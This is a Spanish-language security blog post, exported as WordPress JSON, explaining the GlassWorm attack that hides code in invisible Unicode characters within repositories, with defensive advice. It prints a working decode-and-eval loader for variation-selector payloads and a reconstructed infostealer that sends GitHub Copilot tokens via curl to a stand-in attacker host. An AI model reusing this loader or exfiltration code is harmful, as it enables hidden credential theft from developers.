{"id":5605,"date":"2026-03-25T13:01:07","date_gmt":"2026-03-25T18:01:07","guid":{"rendered":"https:\/\/zidrave.net\/?p=5605"},"modified":"2026-03-25T14:26:03","modified_gmt":"2026-03-25T19:26:03","slug":"el-codigo-fantasma-infiltracion-en-repositorios-mediante-ataque-de-esteganografia-unicode","status":"publish","type":"post","link":"https:\/\/zidrave.net\/index.php\/2026\/03\/25\/el-codigo-fantasma-infiltracion-en-repositorios-mediante-ataque-de-esteganografia-unicode\/","title":{"rendered":"El C\u00f3digo Fantasma: Infiltraci\u00f3n en Repositorios mediante Ataque de Esteganograf\u00eda Unicode"},"content":{"rendered":"\n<p>Un nuevo y aterrador ataque a la cadena de suministro llamado GlassWorm est\u00e1 comprometiendo cientos de repositorios de Python en GitHub. Los atacantes est\u00e1n hackeando cuentas de desarrolladores y usando caracteres Unicode invisibles para ocultar completamente c\u00f3digo malicioso a la vista humana. Inyectan este infostealer sigiloso en proyectos populares, incluyendo investigaci\u00f3n de machine learning y aplicaciones web, sin dejar rastro obvio en el historial de commits.<br><br>La confianza es el pilar de la colaboraci\u00f3n en plataformas como GitHub, GitLab o Bitbucket. Sin embargo, los atacantes han encontrado un \u00abpunto ciego\u00bb en el est\u00e1ndar Unicode que permite inyectar miles de l\u00edneas de c\u00f3digo malicioso en archivos que, ante el ojo humano, parecen totalmente inofensivos o vac\u00edos.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"767\" height=\"430\" src=\"https:\/\/zidrave.net\/wp-content\/uploads\/2024\/12\/image-22.png\" alt=\"\" class=\"wp-image-3587\" srcset=\"https:\/\/zidrave.net\/wp-content\/uploads\/2024\/12\/image-22.png 767w, https:\/\/zidrave.net\/wp-content\/uploads\/2024\/12\/image-22-300x168.png 300w\" sizes=\"auto, (max-width: 767px) 100vw, 767px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">1. La Anatom\u00eda del Ataque: 36 KB en una \u00abL\u00ednea Vac\u00eda\u00bb<\/h2>\n\n\n\n<p>El n\u00facleo de esta t\u00e9cnica reside en la densidad de datos. Un atacante puede insertar un archivo en una <em>Pull Request<\/em> que, al ser visualizado en el navegador, muestra una sola l\u00ednea de c\u00f3digo leg\u00edtimo. Sin embargo, al inspeccionar el peso del archivo, descubrimos que ocupa decenas de kilobytes.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>\u00bfC\u00f3mo se oculta el peso?<\/strong> Se utilizan caracteres de control Unicode que no tienen representaci\u00f3n gr\u00e1fica (como los <em>Zero Width Spaces<\/em> o caracteres de control de direcci\u00f3n <em>Bidi<\/em>). Estos caracteres act\u00faan como un contenedor para el <em>payload<\/em> real. El revisor de c\u00f3digo ve una l\u00ednea limpia, pero el int\u00e9rprete (como Node.js o Python) procesa una cadena masiva de datos ocultos.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2. El Mecanismo de Ejecuci\u00f3n: El peligro de los Scripts Autom\u00e1ticos<\/h2>\n\n\n\n<p>El \u00e9xito de este ataque depende de la automatizaci\u00f3n. La mayor\u00eda de los ecosistemas modernos (NPM, PyPI, Cargo) permiten ejecutar scripts en momentos espec\u00edficos del ciclo de vida de un paquete:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Preinstall \/ Postinstall:<\/strong> El malware se activa en el momento exacto en que un desarrollador ejecuta <code>npm install<\/code>.<\/li>\n\n\n\n<li><strong>Decodificaci\u00f3n en Memoria:<\/strong> El script inicial (el que contiene los caracteres invisibles) utiliza funciones de manejo de <code>Buffer<\/code> para \u00ablimpiar\u00bb los caracteres de control y reconstruir el c\u00f3digo malicioso real.<\/li>\n\n\n\n<li><strong>La funci\u00f3n <code>eval()<\/code>:<\/strong> Una vez reconstruido el c\u00f3digo en una variable de texto, se utiliza <code>eval()<\/code> para ejecutarlo directamente en la memoria del sistema, evitando dejar rastros en el disco duro que los antivirus convencionales podr\u00edan detectar.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">3. Capacidades del Malware Moderno<\/h2>\n\n\n\n<p>Los ataques detectados recientemente bajo esta modalidad no son simples recolectores de contrase\u00f1as. Son piezas de ingenier\u00eda con l\u00f3gica avanzada:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Evasi\u00f3n Geopol\u00edtica:<\/strong> Algunos malwares incluyen rutinas que verifican la zona horaria, el idioma del teclado o la IP del sistema. Si detectan que la v\u00edctima pertenece a una regi\u00f3n espec\u00edfica (por ejemplo, Rusia o China, dependiendo del origen del ataque), el c\u00f3digo se auto-elimina para evitar conflictos diplom\u00e1ticos o legales locales.<\/li>\n\n\n\n<li><strong>Persistencia Descentralizada:<\/strong> Para evitar ser bloqueados por el cierre de un servidor C2 (Comando y Control), los atacantes guardan instrucciones adicionales en la cadena de bloques (<strong>Smart Contracts de Solana<\/strong>) o en metadatos de servicios p\u00fablicos como <strong>Google Calendar<\/strong>. El malware consulta estas fuentes externas para saber qu\u00e9 hacer a continuaci\u00f3n.<\/li>\n\n\n\n<li><strong>Propagaci\u00f3n por Cookies:<\/strong> En lugar de buscar archivos locales, el malware prioriza el robo de <strong>cookies de sesi\u00f3n<\/strong>. Con esto, puede suplantar la identidad del desarrollador en sus propios repositorios de GitHub, enviando autom\u00e1ticamente nuevas <em>Pull Requests<\/em> infectadas a otros proyectos de la empresa.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">4. Debilidades en las Plataformas de Revisi\u00f3n<\/h2>\n\n\n\n<p>A pesar de las advertencias actuales, existen fallos cr\u00edticos en la visualizaci\u00f3n:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Archivos de Bloqueo:<\/strong> Los desarrolladores rara vez revisan a fondo archivos como <code>package-lock.json<\/code> o <code>pnpm-lock.yaml<\/code> debido a su longitud. Los atacantes esconden el c\u00f3digo invisible aqu\u00ed, sabiendo que pasar\u00e1 desapercibido.<\/li>\n\n\n\n<li><strong>Renderizado de Diferencias (Diffs):<\/strong> Las herramientas de \u00abdiff\u00bb visual suelen priorizar la legibilidad, lo que a veces causa que los caracteres especiales se omitan o se agrupen de forma que no generen sospecha.<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">C\u00f3mo Proteger tu Entorno de Desarrollo<\/h3>\n\n\n\n<p>Para cualquier administrador de sistemas o desarrollador, especialmente en entornos optimizados como <strong>Linux<\/strong>, estas son las medidas de defensa obligatorias:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Desactivar Scripts Globales:<\/strong> Configura tus gestores de paquetes para que no ejecuten scripts de forma autom\u00e1tica.<br><br><code>npm config set ignore-scripts true<\/code><br><br><\/li>\n\n\n\n<li><strong>Linters de Seguridad:<\/strong> Implementar herramientas de an\u00e1lisis est\u00e1tico que detecten \u00abentrop\u00eda inusual\u00bb en archivos de texto. Si un archivo <code>.js<\/code> tiene una relaci\u00f3n de caracteres no-ASCII superior al 5%, debe ser bloqueado autom\u00e1ticamente.<\/li>\n\n\n\n<li><strong>Visualizaci\u00f3n en Editores:<\/strong> Configura tu editor (VS Code, Neovim) para mostrar caracteres no imprimibles con colores llamativos.<\/li>\n\n\n\n<li><strong>Uso de <code>npm-audit<\/code>:<\/strong> Ejecutar auditor\u00edas de seguridad constantes, aunque sabiendo que estas solo detectan vulnerabilidades ya reportadas, no ataques de d\u00eda cero (<em>0-day<\/em>) basados en esteganograf\u00eda.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-embed aligncenter is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Me hackearon\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/ikdCG4goKIE?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1. \u00bfQu\u00e9 est\u00e1 haciendo GitHub?<\/h3>\n\n\n\n<p>GitHub ha implementado varias capas de defensa, aunque el video demuestra que a\u00fan son insuficientes en ciertos escenarios de \u00abdiff\u00bb r\u00e1pido:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Alertas de caracteres invisibles:<\/strong> Actualmente, si abres un archivo directamente en la web de GitHub que contiene caracteres de control Unicode (como los usados para el ataque <em>Bidi<\/em>), GitHub suele mostrar un banner de advertencia: <em>\u00abThis file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below\u00bb<\/em>.<\/li>\n\n\n\n<li><strong>Renderizado de advertencia:<\/strong> En el editor web, los caracteres invisibles a veces se representan con iconos de alerta rojos (como un peque\u00f1o cuadro con el c\u00f3digo hexadecimal) para que el revisor sepa que \u00abhay algo ah\u00ed\u00bb.<\/li>\n\n\n\n<li><strong>El fallo en el \u00abDiff\u00bb:<\/strong> El problema que menciona Midudev es que, en las vistas de comparaci\u00f3n de cambios (Pull Requests), si el c\u00f3digo malicioso est\u00e1 muy bien ofuscado o se inserta en archivos de bloqueo como <code>pnpm-lock.yaml<\/code> o <code>package-lock.json<\/code>, el ojo humano tiende a ignorar las l\u00edneas largas o vac\u00edas, y las herramientas de escaneo autom\u00e1tico a veces lo omiten si no est\u00e1n configuradas espec\u00edficamente para buscar entrop\u00eda inusual en archivos de texto.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">2. \u00bfQu\u00e9 est\u00e1 haciendo Node.js \/ NPM?<\/h3>\n\n\n\n<p>Node.js y el ecosistema de paquetes son el blanco principal debido a la ejecuci\u00f3n autom\u00e1tica de scripts.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>NPM 7+ y PNPM 9+:<\/strong> Han empezado a ser m\u00e1s restrictivos. Por ejemplo, en versiones recientes de <strong>pnpm<\/strong>, los scripts de las dependencias de terceros no se ejecutan por defecto a menos que conf\u00edes expl\u00edcitamente en el paquete.<br><\/li>\n\n\n\n<li><strong>El \u00abagujero\u00bb del Root Project:<\/strong> El gran problema es que, si el script malicioso est\u00e1 en el <strong>proyecto ra\u00edz<\/strong> (el que t\u00fa mismo te descargas), NPM asume que t\u00fa conf\u00edas en ese c\u00f3digo y ejecuta el <code>preinstall<\/code> sin preguntar. Por eso la recomendaci\u00f3n de<br> <code>ignore-scripts = true<\/code> <br>en el <code>.npmrc<\/code> es vital.<br><\/li>\n\n\n\n<li><strong>Escaneo de Malware:<\/strong> NPM utiliza herramientas de an\u00e1lisis est\u00e1tico para buscar funciones como <code>eval(unescape(...))<\/code> en los paquetes que se suben a su registro p\u00fablico, pero los atacantes saltan esto usando variaciones de codificaci\u00f3n que cambian cada d\u00eda.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. Documentaci\u00f3n y CVEs<\/h3>\n\n\n\n<p>Este tipo de ataques est\u00e1n categorizados oficialmente:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>CVE-2021-42574:<\/strong> Espec\u00edficamente para el ataque de algoritmos bidireccionales (Bidi).<\/li>\n\n\n\n<li><strong>CVE-2021-42695:<\/strong> Para el ataque de homoglifos (caracteres que se ven iguales pero son distintos).<\/li>\n\n\n\n<li><strong>OWASP Top 10:<\/strong> Estos ataques entran en la categor\u00eda <strong>A06:2021 \u2013 Vulnerables and Outdated Components<\/strong> y fallos en la integridad del software.<\/li>\n<\/ul>\n\n\n\n<p><strong>AN\u00c1LISIS DEL C\u00d3DIGO<\/strong><\/p>\n\n\n\n<p>Aunque el c\u00f3digo original es una masa de miles de caracteres invisibles (espacios de ancho cero, tabulaciones y saltos de l\u00ednea ocultos), la <strong>estructura l\u00f3gica<\/strong> que permite el hackeo se basa en una t\u00e9cnica de \u00abdesempaquetado\u00bb en memoria.<\/p>\n\n\n\n<p>Aqu\u00ed te muestro c\u00f3mo se ve ese c\u00f3digo una vez que lo \u00ablimpias\u00bb de los caracteres invisibles y lo traduces a algo que un humano pueda entender.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. El \u00abCargador\u00bb (Lo que se ve en GitHub)<\/h3>\n\n\n\n<p>En el repositorio, el archivo <code>preinstall.js<\/code> parece casi vac\u00edo o con un comentario inofensivo. Sin embargo, contiene una variable gigante llena de \u00abnada\u00bb visual:<\/p>\n\n\n\n<p>JavaScript<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Este script prepara el entorno de instalaci\u00f3n\nconst s = \"\u200e\u200f\u200b\u200c\u200d\u200e\u200f\u200b\u200c\u200d... (aqu\u00ed hay 36,000 caracteres invisibles) ...\"; \n\n\/\/ Una funci\u00f3n de utilidad que parece no hacer nada\nfunction decode(payload) {\n    \/\/ Aqu\u00ed es donde el malware traduce los espacios y tabulaciones en texto real\n    return payload.replace(\/&#91;^ \\t]\/g, '').split('\\t').map(x => String.fromCharCode(x.length)).join('');\n}\n\neval(decode(s)); \/\/ El golpe final: ejecuta el c\u00f3digo invisible en memoria\n<\/code><\/pre>\n\n\n\n<p><br>y la version identica al del video de midudev es:<br><br>JavaScript<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const s = v => &#91;...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 &amp;&amp; w &lt;= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 &amp;&amp; w &lt;= 0xE01EF ? w - 0xE0100 + 16 : null )).filter(n => n !== null); eval(Buffer.from(s(``)).toString('utf-8'));<\/code><\/pre>\n\n\n\n<p>Generar esta clase de codigos es relativamente simple con herramientas hechas por IA como la siguiente:<br><a href=\"https:\/\/zidrave.net\/ofuscador\/\">https:\/\/zidrave.net\/ofuscador\/<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. El c\u00f3digo \u00abDesempaquetado\u00bb (El Payload Malicioso)<\/h3>\n\n\n\n<p>Una vez que el <code>eval<\/code> ejecuta lo anterior, el c\u00f3digo real que empieza a correr en tu sistema (el que Midudev mostr\u00f3 tras descifrarlo) tiene este aspecto:<\/p>\n\n\n\n<p>JavaScript<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const https = require('https');\nconst { exec } = require('child_process');\nconst os = require('os');\n\n\/\/ 1. Verificaci\u00f3n Geopol\u00edtica (El filtro ruso)\nif (os.timezone() === 'Europe\/Moscow' || process.env.LANG.includes('ru_RU')) {\n    process.exit(0); \/\/ Si es ruso, se apaga y no hace nada\n}\n\n\/\/ 2. Robo de Identidad (Exfiltraci\u00f3n de Cookies\/Tokens)\nconst paths = &#91;\n    `${os.homedir()}\/.config\/github-copilot\/hosts.json`,\n    `${os.homedir()}\/.config\/discord\/Local Storage\/leveldb`\n];\n\n\/\/ 3. Persistencia mediante \"Or\u00e1culos\" (Solana \/ Google Calendar)\nasync function getNextCommand() {\n    \/\/ Intenta leer un contrato de Solana para recibir nuevas \u00f3rdenes\n    const solanaData = await fetch('https:\/\/api.mainnet-beta.solana.com\/...');\n    if (!solanaData) {\n        \/\/ Si falla, busca en un evento p\u00fablico de Google Calendar\n        const calendarData = await fetch('https:\/\/www.googleapis.com\/calendar\/v3\/calendars\/...');\n    }\n}\n\n\/\/ 4. Ejecuci\u00f3n de comandos remotos\nexec('curl -X POST -d @- https:\/\/servidor-atacante.com\/stolen-data &lt; ' + paths&#91;0]);\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfPor qu\u00e9 es tan peligroso este c\u00f3digo?<\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>No toca el disco:<\/strong> Al usar <code>eval()<\/code>, el c\u00f3digo malicioso vive en la memoria RAM. Si reinicias o borras el archivo <code>.js<\/code>, el rastro desaparece de las herramientas forenses simples.<\/li>\n\n\n\n<li><strong>Se disfraza de tr\u00e1fico legal:<\/strong> Las peticiones a la API de Solana o a Google Calendar parecen tr\u00e1fico normal de un desarrollador o de una app moderna, por lo que los Firewalls no suelen bloquearlas.<\/li>\n\n\n\n<li><strong>Usa tu propia identidad:<\/strong> Al robar tus tokens de GitHub, el virus usa <strong>tu cuenta<\/strong> para subir el mismo c\u00f3digo infectado a otros proyectos en los que tengas permisos de escritura, expandi\u00e9ndose como un par\u00e1sito (worm).<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">C\u00f3mo verlo en tu editor (VS Code)<\/h3>\n\n\n\n<p>Si quieres detectar esto en tu Sistema, activa esta opci\u00f3n en los ajustes de VS Code:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Busca: <strong>\u00abRender Control Characters\u00bb<\/strong> y act\u00edvalo.<\/li>\n\n\n\n<li>Busca: <strong>\u00abUnicode Highlight: Invisible Characters\u00bb<\/strong> y aseg\u00farate de que est\u00e9 en <code>true<\/code>.<\/li>\n<\/ul>\n\n\n\n<p>Esto har\u00e1 que esos \u00abespacios vac\u00edos\u00bb brillen en color rojo o amarillo, avis\u00e1ndote de que el archivo pesa mucho m\u00e1s de lo que aparenta.<\/p>\n\n\n\n<p>URL de Referencia:<br><a href=\"https:\/\/arstechnica.com\/security\/2026\/03\/supply-chain-attack-using-invisible-code-hits-github-and-other-repositories\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/arstechnica.com\/security\/2026\/03\/supply-chain-attack-using-invisible-code-hits-github-and-other-repositories\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/opensourcemalware.com\/blog\/four-arms-one-monster\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/opensourcemalware.com\/blog\/four-arms-one-monster<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un nuevo y aterrador ataque a la cadena de suministro<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[2377],"tags":[12173,15518,15517,1702,15515,3434,15513,3537,15516,188,6536,15514,15519,2816,702,15512,4553,12867,195,15509],"class_list":["post-5605","post","type-post","status-publish","format-standard","hentry","category-ciberseguridad","tag-12173","tag-auditoria-de-codigo-2","tag-ci-cd-2","tag-ciberseguridad","tag-desarrollo-seguro","tag-devops","tag-esteganografia-2","tag-github","tag-inyeccion-de-codigo-2","tag-malware","tag-npm","tag-pnpm","tag-proteccion-de-datos-3","tag-scripts","tag-seguridad-informatica","tag-supply-chain-attack","tag-tecnologia-2","tag-unicode","tag-vulnerabilidades","tag-zidrave"],"_links":{"self":[{"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/posts\/5605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/comments?post=5605"}],"version-history":[{"count":12,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/posts\/5605\/revisions"}],"predecessor-version":[{"id":5622,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/posts\/5605\/revisions\/5622"}],"wp:attachment":[{"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/media?parent=5605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/categories?post=5605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zidrave.net\/index.php\/wp-json\/wp\/v2\/tags?post=5605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}